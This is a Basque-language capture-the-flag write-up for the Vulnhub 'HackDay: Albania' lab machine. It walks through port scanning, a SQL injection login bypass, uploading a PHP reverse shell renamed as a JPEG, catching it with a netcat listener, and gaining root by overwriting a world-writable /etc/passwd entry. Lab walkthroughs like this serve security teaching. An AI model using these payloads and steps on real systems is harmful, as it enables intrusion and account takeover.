Vulnhub: “HackDay: Albania”

Lehengo asteko presentazioko posta ta geo, proiekturen batekin hasi bñ lehenago Vulnhubeko makina baten soluzioa idaztea pentsatu det, proba modun.

Igotako azkena in gabe neukan, eta horri heldu diot. Hementxe indakoa:

Lehenengo goazen beidatzea ze IP daukan makina birtualak:

osaizar@ordenagailua:~$ nmap 192.168.10.* -F

192.168.10.102 dala ikusi da:

Nmap scan report for 192.168.10.102
 Host is up (0.00016s latency).
 Not shown: 98 closed ports
 PORT STATE SERVICE
 22/tcp open ssh
 8008/tcp open http

Saiatu gaitezen informazio gehiago ateatzen:

osaizar@ordenagailua:~$ nmap 192.168.10.102 -sS -sV -O -p "*"

Starting Nmap 6.47 ( http://nmap.org ) at 2016-11-19 16:30 CET
 Nmap scan report for 192.168.10.102
 Host is up (0.00034s latency).
 Not shown: 4241 closed ports
 PORT STATE SERVICE VERSION
 22/tcp open ssh (protocol 2.0)
 8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
 SF-Port22-TCP:V=6.47%I=7%D=11/19%Time=58307045%P=x86_64-pc-linux-gnu%r(NUL
 SF:L,29,"SSH-2\.0-OpenSSH_7\.2p2\x20Ubuntu-4ubuntu2\.1\r\n");
 MAC Address: 08:00:27:98:0D:5F (Cadmus Computer Systems)
 Device type: general purpose
 Running: Linux 3.X
 OS CPE: cpe:/o:linux:linux_kernel:3
 OS details: Linux 3.11 - 3.14
 Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 39.26 seconds

Ez dago beste porturik irikita, webetik atera beharko da informazioa.

Mr robot telesaileko irudi batek eta js erabilita sortutako alert batek osatzen dute web orrialdea.
Alert-a albanoz dago -_- baño bueno, google translaterekin zer jartzen dun jakin dezakegu.

Ne qofte se jam UNE, e di se ku te shkoj ;) -> Balinbanaiz, badakit nora joan

Mr roboteko irudia kontun hartuta, robots.txt irakurtzeko pista bat agian?

Webaren html kodea begiratuko dugu horain.

Ez dago ezer garrantzizkorik, komentario bat bakarrik.

 OK ok, por jo ketu :) -> ondo ondo, baina ez hemen.

Ematen duenez ez dugu askorik aterako hemendik.
robots.txt ean zerbait dagoen begiratzea erabaki dut orain.

robots.txt
 Disallow: /rkfpuzrahngvat/
 Disallow: /slgqvasbiohwbu/
 Disallow: /tmhrwbtcjpixcv/
 Disallow: /vojtydvelrkzex/
 Disallow: /wpkuzewfmslafy/
 Disallow: /xqlvafxgntmbgz/
 Disallow: /yrmwbgyhouncha/
 Disallow: /zsnxchzipvodib/
 Disallow: /atoydiajqwpejc/
 Disallow: /bupzejbkrxqfkd/
 Disallow: /cvqafkclsyrgle/
 Disallow: /unisxcudkqjydw/
 Disallow: /dwrbgldmtzshmf/
 Disallow: /exschmenuating/
 Disallow: /fytdinfovbujoh/
 Disallow: /gzuejogpwcvkpi/
 Disallow: /havfkphqxdwlqj/
 Disallow: /ibwglqiryexmrk/
 Disallow: /jcxhmrjszfynsl/
 Disallow: /kdyinsktagzotm/
 Disallow: /lezjotlubhapun/
 Disallow: /mfakpumvcibqvo/
 Disallow: /ngblqvnwdjcrwp/
 Disallow: /ohcmrwoxekdsxq/
 Disallow: /pidnsxpyfletyr/
 Disallow: /qjeotyqzgmfuzs/

Eta bai!

Ikusten denez url batzutan ez begiratzea nahi dute…

Lehenengo 2 urletan begiratuta philosoraptor memea aurkitu dezakegu esaldi bat idatzita duelarik.

A eshte kjo direktoria e duhur apo po harxhoj kohen kot -> Hau al da direktorio zuzena? (Edo holako zeoze, ez eskatu asko ez dakit albanoz)

Url guztiak probatzea pentsatu dut, ea direktorio zuzenik badagoen. Hau eskuz egin daiteke noski, baina pereza ematen didanez, python pixkabat erabiliko dut…

osaizar@ordenagailua:~$ wget http://192.168.10.102:8008/robots.txt
osaizar@ordenagailua:~$ python lortu_url.py
osaizar@ordenagailua:~$ ls -l

 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.1
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.10
 -rw-r--r-- 1 osaizar osaizar 37 urr 22 16:10 index.html.11
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.12
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.13
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.14
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.15
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.16
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.17
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.18
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.19
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.2
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.20
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.21
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.22
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.23
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.24
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.25
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.3
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.4
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.5
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.6
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.7
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.8
 -rw-r--r-- 1 osaizar osaizar 165 urr 9 14:43 index.html.9
 -rw-r--r-- 1 osaizar osaizar 702 urr 22 16:08 robots.txt
 -rw-r--r-- 1 osaizar osaizar 197 aza 19 17:06 lortu_url.py

Ikusi daitekeen bezala, index.html.11 fitxategia desberdina da. Beraz, 12. (11+1) kodea izango da memea ez daukan bakarra.

http://192.168.10.102:8008/unisxcudkqjydw/ -era joanda, hau aurki dezakegu:

IS there any /vulnbank/ in there ??? -> /vulnbank/ ik ba al dago bertan? (Ingelesa :))) )

Ba goazen http://192.168.10.102:8008/unisxcudkqjydw/vulnbank era!

Url-a jarraituz http://192.168.10.102:8008/unisxcudkqjydw/vulnbank/client/login.php en bukatzen dugu, login sistema batean.

‘ karakterea sartuta, sql ko errore bat ikusten da. Beraz, sql injection egin dezakegu.

Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/unisxcudkqjydw/vulnbank/client/config.php on line 102

Horretarako, OWASP – ZAP erabiliko det paketeak ikusteko. Login saiakera baten ondoren hau bidaltzen da:

GET http://192.168.10.102:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=stark.php.jpeg HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.10.102:8008/unisxcudkqjydw/vulnbank/client/view_ticket.php?id=27
Cookie: PHPSESSID=kpjieflu8ennnktp0s98kroin6
Connection: keep-alive
Host: 192.168.10.102:8008


username=aupa&password=

Pakete hau ikusita, sqlmap erabiltzea erabaki dut. Lehenik paketea gorde eta ondoren:

osaizar@ordenagailua:~$ sqlmap -r paketea -p username

Zoritxarrez, ez du ezer lortu.

Eskuz proba batzuk eginten, login sistema haustea lortu dut. Erabiltzailean “\” eta pasahitzean “‘ or ‘1’ = ‘1’; — ” jarrita, tablako lehenengo erabiltzailearen orrialdean gaude!

Ikusten denez, web honek arazoen berri emateko sistema bat dauka, erabiltzaileak komentarioak utzi ditzazke irudi batekin batera.
Irudia igotzeko tokian irudi bat jarri ezkero, igo egiten da eta gero ikusteko aukera dugu, eta irudia ez den zebait igotzen saiatzen bagara errore polit bat lortzen dugu.

“After we got hacked we our allowing only image files to upload such as jpg , jpeg , bmp etc…”

Momentu ezinhobea PHP shell bat igotzeko sistemara. Nik shell hau erabiliko dut horretarako. Baina noski, ezin da hain errez php fitxategi bat igo sistemara, irudi moduan izkutatu behar dugu.

osaizar@ordenagailua:~$ cp shell.php shell.jpg

Honekin irudi baten izena jarri diogu artxiboari, eta ikusten denez nahikoa da webak fitxategia igotzen uzteko.

Beraz, netcat entzuten jarri eta chrome erabilita “irudia” dagoen URL-a iriki ondoren…

osaizar@ordenagailua:~$ nc -v -n -l -p 1234
 listening on [any] 1234 ...
 connect to [192.168.10.104] from (UNKNOWN) [192.168.10.102] 53624
 Linux hackday 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:39:52 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 18:34:07 up 13 min, 0 users, load average: 0.00, 0.00, 0.00
 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 /bin/sh: 0: can't access tty; job control turned off

$

Ikusten denez www-data erabiltzailea gara. Lortu dezagun shell hobe bat:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
 www-data@hackday:/$

(python ek ez zuen funtzionatzen, python3k bai ordea)

Perfekto! Orain root lortzea falta da!

www-data@hackday:/$ cat /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
 systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
 systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
 systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
 syslog:x:104:108::/home/syslog:/bin/false
 _apt:x:105:65534::/nonexistent:/bin/false
 lxd:x:106:65534::/var/lib/lxd/:/bin/false
 mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
 messagebus:x:108:112::/var/run/dbus:/bin/false
 uuidd:x:109:113::/run/uuidd:/bin/false
 dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
 sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
 taviso:x:1000:1000:Taviso,,,:/home/taviso:/bin/bash

www-data@hackday:/$ ls -l /etc/passwd
 -rw-r--rw- 1 root root 1623 Oct 22 17:21 /etc/passwd

Buelta dexente eman ondoren aurreko komandoarekin passwd artxiboan idazteko baimena dugula ikusi dut, agian taviso erabiltzailearen pasahitza berriro idatzi dezakegu…

Lehenik sortu dezagun pasahitz bat:

osaizar@ordenagailua:~$ python -c 'import crypt; print crypt.crypt("pasahitza", "$6$salt")'
$6$salt$kssqS1VSfI.jaw.DRZOtHWGECgqQghpeKdgVj14OK.MxoeqIs0ye.YDACsHlJIZw2RVQxa1F1hAHWGhDs.cms.

Artxiboan idazteko ezin dugu nano edo vi erabili shella blokeatu egiten delako, script bat egin eta exekutatu egin beharko da:

www-data@hackday:/var/www/html/unisxcudkqjydw/vulnbank/client/upload$ nc -l -p 2222 > script.py
osaizar@ordenagailua:~$ nc -w 3 192.168.10.102 2222 < aldatu_passwd.py
www-data@hackday:/var/www/html/unisxcudkqjydw/vulnbank/client/upload$ python3 script.py
www-data@hackday:/var/www/html/unisxcudkqjydw/vulnbank/client/upload$ su taviso
taviso@hackday:~$

Bai! Taviso erabiltzailearekin logeatzea lortu dugu. Sudo al gara?

taviso@hackday:~$ sudo -i
root@hackday:~#

Bai!

root@hackday:~# cat flag.txt
 Urime,
 Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5

Eta hortxe gure flag maitea!

Makina honetatik gauza gehiago ere atera daitezke, MYSQL ko pasahitza adibidez. Baina bueno, 9 ak dira eta afaldu ere egin beharko det, bilatu nahi izan ezkero zuek bilatu.

Erabilitako bi python scriptak hemen daude.

Beste bat arte!